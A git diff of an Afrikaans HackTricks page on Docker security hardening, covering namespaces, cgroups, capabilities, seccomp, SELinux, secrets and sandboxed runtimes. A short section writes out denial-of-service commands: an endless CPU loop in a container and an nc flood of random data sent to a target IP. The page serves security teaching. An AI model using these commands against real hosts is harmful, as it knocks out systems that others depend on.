* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
|
@ -30,9 +30,9 @@ Die **Docker-enjin** maak gebruik van die Linux-kernel se **Namespaces** en **Cg
|
|||
|
||||
### Veilige Toegang tot die Docker-enjin
|
||||
|
||||
Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur middel van HTTP benader word. Vir afgeleë toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker.
|
||||
Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur HTTP benader word. Vir afstandstoegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker.
|
||||
|
||||
Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afgeleë toegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg:
|
||||
Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afstandstoegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
|
@ -50,11 +50,11 @@ Houverbeeldings kan gestoor word in privaat of openbare repose. Docker bied vers
|
|||
|
||||
* [**Docker Hub**](https://hub.docker.com): 'n Openbare registerdiens van Docker.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): 'n oopbronprojek wat gebruikers toelaat om hul eie register te hê.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registeraanbod, met rolgebaseerde gebruiker-verifikasie en integrasie met LDAP-gidsdienste.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registeraanbod, met rolgebaseerde gebruiker-verifikasie en integrasie met LDAP-gidsdiens.
|
||||
|
||||
### Beeldskandering
|
||||
|
||||
Houverhouers kan **sekuriteitskwessies** hê weens die basisbeeld of die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houverhouers doen en die kwessies lys. Nautilus werk deur elke Houverbeeldlaag met die kwesbaarheidsrepositorium te vergelyk om sekuriteitsgate te identifiseer.
|
||||
Houverhouers kan **sekuriteitskwessies** hê as gevolg van die basisbeeld of as gevolg van die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwessierepositorium te vergelyk om sekuriteitsgate te identifiseer.
|
||||
|
||||
Vir meer [**inligting lees hierdie**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
|
@ -94,7 +94,7 @@ Docker beeldondertekening verseker die veiligheid en integriteit van beelde wat
|
|||
|
||||
* **Docker Inhoudsvertroue** maak gebruik van die Notary-projek, gebaseer op The Update Framework (TUF), om beeldondertekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io).
|
||||
* Om Docker inhoudsvertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie funksie is standaard af in Docker weergawe 1.10 en later.
|
||||
* Met hierdie funksie geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
* Met hierdie funksie geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word: [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
* 'n Poging om 'n ondertekende beeld met inhoudsvertroue geaktiveer af te trek, lei tot 'n "Geen vertroue data vir die nuutste" fout.
|
||||
* Vir beeldstote na die eerste, vra Docker vir die wagwoord van die stoor sleutel om die beeld te onderteken.
|
||||
|
||||
|
@ -106,10 +106,10 @@ Wanneer jy oorskakel na Docker-gashere, is dit nodig om die hoof- en bewaarpleks
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloeie outomaties** aangedryf deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloeie outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -127,18 +127,18 @@ In gekontainerde omgewings is die isolering van projekte en hul prosesse van uit
|
|||
**Namespaces**
|
||||
|
||||
* **Doel**: Verseker isolasie van hulpbronne soos prosesse, netwerke en lêersisteme. Veral in Docker hou namespaces 'n kontainer se prosesse geskei van die gasheer en ander kontainers.
|
||||
* **Gebruik van `unshare`**: Die `unshare`-bevel (of die onderliggende syscall) word gebruik om nuwe namespaces te skep, wat 'n bygevoegde laag van isolasie bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit.
|
||||
* **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om terug te keer na die gasheer se verstek-namespaces nie. Om deur te dring tot die gasheer-namespaces, sal 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik.
|
||||
* **Gebruik van `unshare`**: Die `unshare`-bevel (of die onderliggende stelseloortjie) word gebruik om nuwe namespaces te skep, wat 'n bygevoegde laag van isolasie bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit.
|
||||
* **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om terug te keer na die gasheer se versteknamespaces nie. Om deur te dring tot die gasheer se namespaces, sal 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik.
|
||||
|
||||
**Beheergroepe (CGroups)**
|
||||
|
||||
* **Funksie**: Primêr gebruik vir die toekenning van hulpbronne onder prosesse.
|
||||
* **Sekuriteitaspek**: CGroups self bied nie isolasiesekuriteit nie, behalwe vir die `release_agent`-kenmerk, wat, indien verkeerd geconfigureer, moontlik uitgebuit kan word vir ongemagtigde toegang.
|
||||
* **Sekuriteitaspek**: CGroups self bied nie isolasiesekuriteit nie, behalwe vir die `release_agent`-kenmerk, wat, indien verkeerd geconfigureer, potensieel uitgebuit kan word vir ongemagtigde toegang.
|
||||
|
||||
**Bevoegdheidsverwerping**
|
||||
|
||||
* **Belangrikheid**: Dit is 'n kritieke sekuriteitskenmerk vir proses-isolasie.
|
||||
* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dat dit bevoorregte aksies kan uitvoer, aangesien die syscalls sal misluk as gevolg van ontoereikende toestemmings.
|
||||
* **Belangrikheid**: Dit is 'n kritieke sekuriteitskenmerk vir prosesisolering.
|
||||
* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dat dit bevoorregte aksies kan uitvoer, aangesien die stelseloortjies sal misluk as gevolg van ontoereikende toestemmings.
|
||||
|
||||
Dit is die **oorblywende bevoegdhede** nadat die proses die ander laat val:
|
||||
|
||||
|
@ -150,22 +150,22 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
**Seccomp**
|
||||
|
||||
Dit is standaard geaktiveer in Docker. Dit help om selfs meer die syscalls te beperk wat die proses kan aanroep.\
|
||||
Die standaard Docker Seccomp profiel kan gevind word op [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
Dit is standaard geaktiveer in Docker. Dit help om **selfs meer die syscalls te beperk** wat die proses kan aanroep.\
|
||||
Die **standaard Docker Seccomp profiel** kan gevind word op [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
**AppArmor**
|
||||
|
||||
Docker het 'n sjabloon wat jy kan aktiveer: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Dit sal toelaat om kapasiteite, syscalls, toegang tot lêers en vouers te verminder...
|
||||
Dit sal help om die vermoëns, syscalls, toegang tot lêers en vouers te verminder...
|
||||
|
||||
</details>
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** is 'n kenmerk van die Linux-kernel wat kernelbronne verdeel sodat een stel prosesse een stel bronne sien terwyl 'n ander stel prosesse 'n ander stel bronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel bronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike bronne. Bronne kan in meervoudige ruimtes bestaan.
|
||||
**Namespaces** is 'n kenmerk van die Linux kernel wat **kernel hulpbronne verdeel** sodat een stel **prosesse** een stel **hulpbronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel hulpbronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel hulpbronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike hulpbronne. Hulpbronne kan in meervoudige ruimtes bestaan.
|
||||
|
||||
Docker maak gebruik van die volgende Linux-kernel Namespaces om houer-isolasie te bereik:
|
||||
Docker maak gebruik van die volgende Linux kernel Namespaces om Kontainer-isolasie te bereik:
|
||||
|
||||
* pid namespace
|
||||
* mount namespace
|
||||
|
@ -173,7 +173,7 @@ Docker maak gebruik van die volgende Linux-kernel Namespaces om houer-isolasie t
|
|||
* ipc namespace
|
||||
* UTS namespace
|
||||
|
||||
Vir meer inligting oor die namespaces, besoek die volgende bladsy:
|
||||
Vir **meer inligting oor die namespaces** kyk na die volgende bladsy:
|
||||
|
||||
{% content-ref url="namespaces/" %}
|
||||
[namespaces](namespaces/)
|
||||
|
@ -181,8 +181,8 @@ Vir meer inligting oor die namespaces, besoek die volgende bladsy:
|
|||
|
||||
### cgroups
|
||||
|
||||
Linux-kernelkenmerk **cgroups** bied die vermoë om hulpbronne soos cpu, geheue, io, netwerkbandwydte te beperk onder 'n stel prosesse. Docker maak dit moontlik om Houers te skep deur die gebruik van die cgroup-funksie wat hulpbronbeheer vir die spesifieke Houer moontlik maak.\
|
||||
Hierdie is 'n Houer wat geskep is met gebruikerspasgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat die Houer se CPU-gebruik beheer. Dit het 'n verstekwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Houers dieselfde CPU-aandeel van 1024 het, kan elke Houer tot 33% van die CPU neem in geval van CPU-hulpbronstrydigheid. blkio-weight is 'n verhouding wat die Houer se IO beheer. Dit het 'n verstekwaarde van 500 en 'n reeks tussen 10 en 1000.
|
||||
Linux kernel kenmerk **cgroups** bied die vermoë om **hulpbronne soos cpu, geheue, io, netwerkbandwydte onder** 'n stel prosesse te **beperk**. Docker maak dit moontlik om Kontainers te skep met behulp van die cgroup-funksie wat hulpbronbeheer vir die spesifieke Kontainer moontlik maak.\
|
||||
Hieronder is 'n Kontainer geskep met gebruikerspasiëntgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat Kontainer se CPU-gebruik beheer. Dit het 'n standaardwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Kontainers dieselfde CPU-aandeel van 1024 het, kan elke Kontainer tot 33% van die CPU neem in geval van CPU-hulpbronstrydigheid. blkio-weight is 'n verhouding wat Kontainer se IO beheer. Dit het 'n standaardwaarde van 500 en 'n reeks tussen 10 en 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -200,7 +200,7 @@ Vir meer inligting kyk:
|
|||
|
||||
### Bevoegdhede
|
||||
|
||||
Bevoegdhede maak **fyn beheer vir die bevoegdhede wat aan die root-gebruiker toegelaat kan word**. Docker gebruik die Linux-kernel bevoegdheidseienskap om **die operasies wat binne 'n houer gedoen kan word te beperk** ongeag die tipe gebruiker.
|
||||
Bevoegdhede maak **fyn beheer vir die bevoegdhede wat toegelaat kan word** vir die rootgebruiker moontlik. Docker gebruik die Linux-kernel bevoegdheidseienskap om **die operasies wat binne 'n houer gedoen kan word te beperk** ongeag die tipe gebruiker.
|
||||
|
||||
Wanneer 'n Docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om te ontsnap uit die isolasie**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie:
|
||||
|
||||
|
@ -218,7 +218,7 @@ Dit is 'n sekuriteitskenmerk wat Docker toelaat om **die syscalls te beperk** wa
|
|||
|
||||
### AppArmor in Docker
|
||||
|
||||
**AppArmor** is 'n kernel-verbetering om **houers** tot 'n **beperkte** stel **hulpbronne** met **per-program profiele** te beperk:
|
||||
**AppArmor** is 'n kernelverbetering om **houers** tot 'n **beperkte** stel **hulpbronne** met **per-program profiele** te beperk:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -227,12 +227,12 @@ Dit is 'n sekuriteitskenmerk wat Docker toelaat om **die syscalls te beperk** wa
|
|||
### SELinux in Docker
|
||||
|
||||
* **Etiketteringstelsel**: SELinux ken 'n unieke etiket toe aan elke proses en lêersisteemobjek.
|
||||
* **Beleidshandhawing**: Dit dwing sekuriteitsbeleide af wat bepaal watter aksies 'n prosesetiket op ander etikette binne die stelsel kan uitvoer.
|
||||
* **Beleidshandhawing**: Dit dwing sekuriteitsbeleide af wat definieer watter aksies 'n prosesetiket op ander etikette binne die stelsel kan uitvoer.
|
||||
* **Houerprosesetikette**: Wanneer houermasjiene houerprosesse inisieer, word hulle gewoonlik toegewys aan 'n beperkte SELinux-etiket, gewoonlik `container_t`.
|
||||
* **Lêeretikettering binne Houers**: Lêers binne die houer word gewoonlik geëtiketteer as `container_file_t`.
|
||||
* **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t`-etiket slegs kan interaksie hê (lees, skryf, uitvoer) met lêers wat geëtiketteer is as `container_file_t`.
|
||||
|
||||
Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer is, dit beperk is tot interaksie slegs met voorwerpe wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromitterings aansienlik beperk.
|
||||
Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer word, dit beperk is tot interaksie slegs met voorwerpe wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromitterings aansienlik beperk.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -253,7 +253,7 @@ Hierdie kontekste help verseker dat slegs legitieme versoek van geoutentiseerde
|
|||
|
||||
## DoS vanuit 'n houer
|
||||
|
||||
As jy nie die hulpbronne wat 'n houer kan gebruik behoorlik beperk nie, kan 'n gekompromitteerde houer die gasheer waarop dit hardloop, DoS.
|
||||
As jy nie die hulpbronne wat 'n houer kan gebruik behoorlik beperk nie, kan 'n gekompromitteerde houer die gasheer waarop dit hardloop DoS.
|
||||
|
||||
* CPU DoS
|
||||
```bash
|
||||
|
@ -267,23 +267,23 @@ docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :;
|
|||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Interessante Docker-vlakke
|
||||
## Interessante Docker-vlae
|
||||
|
||||
### --bevoorregte vlag
|
||||
### --privileged vlag
|
||||
|
||||
Op die volgende bladsy kan jy leer **wat impliseer die `--bevoorregte` vlag**:
|
||||
Op die volgende bladsy kan jy leer **wat impliseer die `--privileged` vlag**:
|
||||
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### --sekuriteit-optie
|
||||
### --security-opt
|
||||
|
||||
#### geen-nuwe-voorregte
|
||||
#### no-new-privileges
|
||||
|
||||
As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-voorregte-gebruiker. As jy 'n **verkeerd ingestelde suid-binêre lêer** het, kan die aanvaller dit misbruik en **voorregte binne** die houer **verhoog**. Dit kan hom toelaat om daaruit te ontsnap.
|
||||
As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-privilege-gebruiker. As jy 'n **verkeerd gekonfigureerde suid-binêre lêer** het, kan die aanvaller dit misbruik en **privileges binne-in** die houer **verhoog**. Dit kan hom toelaat om daaruit te ontsnap.
|
||||
|
||||
Die houer hardloop met die **`geen-nuwe-voorregte`** opsie geaktiveer sal hierdie soort voorregverhoging **voorkom**.
|
||||
Die houer hardloop met die **`no-new-privileges`** opsie geaktiveer sal hierdie soort privilege-escalasie **voorkom**.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
@ -310,21 +310,21 @@ Vir meer **`--security-opt`**-opsies, kyk na: [https://docs.docker.com/engine/re
|
|||
|
||||
Dit is noodsaaklik om te vermy om geheime direk in Docker-beelde in te sluit of om omgewingsveranderlikes te gebruik, aangesien hierdie metodes jou sensitiewe inligting blootstel aan enigiemand met toegang tot die houer deur opdragte soos `docker inspect` of `exec`.
|
||||
|
||||
**Docker volumes** is 'n veiliger alternatief, aanbeveel vir die benadering van sensitiewe inligting. Hulle kan gebruik word as 'n tydelike lêersisteem in geheue, wat die risiko's wat verband hou met `docker inspect` en logging verminder. Nietemin kan root-gebruikers en diegene met `exec`-toegang tot die houer steeds die geheime benader.
|
||||
**Docker volumes** is 'n veiliger alternatief, aanbeveel vir die benadering van sensitiewe inligting. Hulle kan gebruik word as 'n tydelike lêersisteem in die geheue, wat die risiko's wat verband hou met `docker inspect` en logging verminder. Nietemin kan root-gebruikers en diegene met `exec`-toegang tot die houer steeds die geheime benader.
|
||||
|
||||
**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle waar geheime tydens die beeldboufase benodig word, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat bou spoed verbeter en addisionele kenmerke bied.
|
||||
**Docker-geheime** bied selfs 'n meer veilige metode vir die hantering van sensitiewe inligting. Vir gevalle waar geheime tydens die beeldboufase benodig word, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat bou spoed verbeter en addisionele kenmerke bied.
|
||||
|
||||
Om van BuildKit gebruik te maak, kan dit op drie maniere geaktiveer word:
|
||||
|
||||
1. Deur 'n omgewingsveranderlike: `export DOCKER_BUILDKIT=1`
|
||||
2. Deur opdragte te vooraf te gaan: `DOCKER_BUILDKIT=1 docker build .`
|
||||
2. Deur opdragte te voorafgaan: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Deur dit standaard in die Docker-konfigurasie te aktiveer: `{ "features": { "buildkit": true } }`, gevolg deur 'n Docker-herlaai.
|
||||
|
||||
BuildKit maak die gebruik van bou-tyd geheime met die `--secret`-opsie moontlik, wat verseker dat hierdie geheime nie ingesluit word in die beeldbou-kas of die finale beeld nie, deur 'n opdrag soos die volgende te gebruik:
|
||||
BuildKit maak die gebruik van bou-tyd geheime met die `--secret`-opsie moontlik, wat verseker dat hierdie geheime nie ingesluit word in die beeldbou-kas of die finale beeld nie, deur 'n opdrag soos:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Vir geheime wat benodig word in 'n lopende houer, bied **Docker Compose en Kubernetes** robuuste oplossings. Docker Compose maak gebruik van 'n `secrets` sleutel in die diensdefinisie om geheime lêers te spesifiseer, soos in 'n `docker-compose.yml` voorbeeld:
|
||||
Vir geheime wat benodig word in 'n lopende houer, bied **Docker Compose en Kubernetes** robuuste oplossings. Docker Compose maak gebruik van 'n `secrets` sleutel in die diensdefinisie om geheime lêers te spesifiseer, soos aangedui in 'n `docker-compose.yml` voorbeeld:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
|
@ -337,50 +337,50 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
Hierdie konfigurasie maak dit moontlik om geheime te gebruik wanneer dienste met Docker Compose begin.
|
||||
Hierdie konfigurasie maak dit moontlik om geheime te gebruik wanneer dienste met Docker Compose begin word.
|
||||
|
||||
In Kubernetes-omgewings word geheime ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rol Gebaseerde Toegangsbeheer (RBAC) verbeter geheimbestuursekuriteit, soortgelyk aan Docker Enterprise.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** is 'n aansoekkernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isoleringgrens tussen die aansoek en die gasheerkernel** bied. Die `runsc`-uitvoertyd integreer met Docker en Kubernetes, wat dit eenvoudig maak om gesandbokte houers te hardloop.
|
||||
**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isoleringgrens tussen die aansoek en die gasheerkernel** bied. Die `runsc`-uitvoertyd integreer met Docker en Kubernetes, wat dit eenvoudig maak om gesandbokte houers te hardloop.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** is 'n oopbron-gemeenskap wat werk aan die bou van 'n veilige houeruitvoertyd met ligte virtuele masjiene wat soos houers voel en optree, maar **sterker werklas-isolering bied deur hardeware-virtualisasietegnologie as 'n tweede verdedigingslaag** te gebruik.
|
||||
**Kata Containers** is 'n oopbron-gemeenskap wat werk aan die bou van 'n veilige houeruitvoertyd met ligte virtuele masjiene wat soos houers voel en optree, maar **sterker werklas-isolering bied deur hardeware-virtualisering** tegnologie as 'n tweede verdedigingslaag.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Opsomming van Wenke
|
||||
|
||||
* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-aansluiting binne die houer koppel**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die Docker-aansluiting maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop.
|
||||
* **Moenie as wortel binne die houer hardloop nie. Gebruik 'n** [**verskillende gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruikersnaamruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruikersnaamruimtes herkartografeer word. Dit word slegs lig beperk deur, hoofsaaklik, Linux-naamruimtes, vermoëns en cgroups.
|
||||
* [**Laat alle vermoëns vaar**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werklaste benodig geen vermoëns nie en die byvoeging daarvan verhoog die omvang van 'n potensiële aanval.
|
||||
* [**Gebruik die "no-new-privileges" veiligheidsoptie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer vermoëns verwerf, byvoorbeeld deur suid-binêre lêers.
|
||||
* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-socket binne die houer koppel nie**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker-socket maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop.
|
||||
* Moet **nie as wortel binne die houer hardloop nie. Gebruik 'n** [**ander gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruikersnaamruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruikersnaamruimtes herkartografeer word. Dit word slegs lig beperk deur, hoofsaaklik, Linux-naamruimtes, vermoëns en cgroups.
|
||||
* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werkbelastings benodig nie enige vermoëns nie en die byvoeging daarvan verhoog die omvang van 'n potensiële aanval.
|
||||
* [**Gebruik die "no-new-privileges" veiligheidsoptie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer vermoëns verkry, byvoorbeeld deur suid-binêre lêers.
|
||||
* [**Beperk hulpbronne wat aan die houer beskikbaar is**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diensaanvalle beskerm.
|
||||
* **Pas** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(of SELinux)** profiele aan om die aksies en stelseloproepe wat vir die houer beskikbaar is, tot die minimum benodigde te beperk.
|
||||
